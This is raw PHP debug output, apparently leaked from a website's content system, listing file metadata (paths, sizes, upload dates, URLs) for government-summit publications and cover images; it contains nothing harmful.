[&quot;title&quot;]=&amp;gt;&#xA;  string(69) &quot;Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(139) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(15) &quot;application/pdf&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(69) &quot;Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(7) &quot;5467402&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360519816&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360519816&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(1) &quot; &quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(80) &quot;{filedir_4}Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;pdf&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(65) &quot;Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(132) &quot;http://www3.governmentsummituae.com/assets/images/publications/Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(80) &quot;{filedir_4}Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;string(79) &quot;{filedir_4}Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;194&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(68) &quot;Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(138) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(68) &quot;Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;53832&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413462&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413462&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;440 313&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(79) &quot;{filedir_4}Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(64) &quot;Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(131) &quot;http://www3.governmentsummituae.com/assets/images/publications/Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;313&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;440&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(79) &quot;{filedir_4}Taking_a_more_sophisticated_Approach_to_GCC_labour_Marjet_Policy.png&quot;&#xA;string(69) &quot;{filedir_4}Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;211&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(58) &quot;Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(128) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(15) &quot;application/pdf&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(58) &quot;Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(7) &quot;1035735&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360488189&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360488189&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(1) &quot; &quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(69) &quot;{filedir_4}Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;pdf&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(54) &quot;Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(121) &quot;http://www3.governmentsummituae.com/assets/images/publications/Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(69) &quot;{filedir_4}Taking_a_More_Sophisticated_Approach_to_GCC_Labour_ENG.pdf&quot;&#xA;string(36) &quot;{filedir_4}Government_Efficiency.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;195&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(25) &quot;Government_Efficiency.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(95) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Government_Efficiency.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(25) &quot;Government_Efficiency.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;50657&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413644&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413644&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;438 310&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(36) &quot;{filedir_4}Government_Efficiency.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(21) &quot;Government_Efficiency&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(88) &quot;http://www3.governmentsummituae.com/assets/images/publications/Government_Efficiency.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;310&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;438&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(36) &quot;{filedir_4}Government_Efficiency.png&quot;&#xA;string(27) &quot;{filedir_4}Deloitte_ENG.pdf&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;206&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(16) &quot;Deloitte_ENG.pdf&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(86) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Deloitte_ENG.pdf&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(15) &quot;application/pdf&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(16) &quot;Deloitte_ENG.pdf&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(7) &quot;1140040&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360485441&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360485441&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(1) &quot; &quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(27) &quot;{filedir_4}Deloitte_ENG.pdf&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;pdf&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(12) &quot;Deloitte_ENG&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(79) &quot;http://www3.governmentsummituae.com/assets/images/publications/Deloitte_ENG.pdf&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(27) &quot;{filedir_4}Deloitte_ENG.pdf&quot;&#xA;string(41) &quot;{filedir_4}Citizen_Centric_Government.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;196&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(30) &quot;Citizen_Centric_Government.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(100) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Citizen_Centric_Government.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(30) &quot;Citizen_Centric_Government.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;62054&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413858&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413858&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;438 312&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(41) &quot;{filedir_4}Citizen_Centric_Government.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(26) &quot;Citizen_Centric_Government&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(93) &quot;http://www3.governmentsummituae.com/assets/images/publications/Citizen_Centric_Government.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;312&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;438&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(41) &quot;{filedir_4}Citizen_Centric_Government.png&quot;&#xA;string(41) &quot;{filedir_4}AT_Kearny_Report_-_english.pdf&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;229&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(30) &quot;AT_Kearny_Report_-_english.pdf&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(100) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/AT_Kearny_Report_-_english.pdf&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(15) &quot;application/pdf&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(30) &quot;AT_Kearny_Report_-_english.pdf&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(7) &quot;5125939&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360571001&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360571001&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(1) &quot; &quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(41) &quot;{filedir_4}AT_Kearny_Report_-_english.pdf&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;pdf&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(26) &quot;AT_Kearny_Report_-_english&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(93) &quot;http://www3.governmentsummituae.com/assets/images/publications/AT_Kearny_Report_-_english.pdf&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(41) &quot;{filedir_4}AT_Kearny_Report_-_english.pdf&quot;&#xA;string(60) &quot;{filedir_4}Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;197&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(49) &quot;Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(119) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(49) &quot;Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;53832&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360414308&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360414308&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;440 310&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(60) &quot;{filedir_4}Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(45) &quot;Building_Citizen_Trust_in_Government_Entities&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(112) &quot;http://www3.governmentsummituae.com/assets/images/publications/Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;310&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;440&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(60) &quot;{filedir_4}Building_Citizen_Trust_in_Government_Entities.png&quot;&#xA;string(41) &quot;{filedir_4}Building_Citizen_Trust_ENG.pdf&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;205&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(30) &quot;Building_Citizen_Trust_ENG.pdf&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(100) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Building_Citizen_Trust_ENG.pdf&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(15) &quot;application/pdf&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(30) &quot;Building_Citizen_Trust_ENG.pdf&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(7) &quot;1053860&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360484412&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360484412&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(1) &quot; &quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(41) &quot;{filedir_4}Building_Citizen_Trust_ENG.pdf&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;pdf&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(26) &quot;Building_Citizen_Trust_ENG&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(93) &quot;http://www3.governmentsummituae.com/assets/images/publications/Building_Citizen_Trust_ENG.pdf&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(41) &quot;{filedir_4}Building_Citizen_Trust_ENG.pdf&quot;&#xA;string(81) &quot;{filedir_4}Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;198&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(70) &quot;Achieving_Excellence_via_Data-driven_Decision_Making_in_Government.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(140) 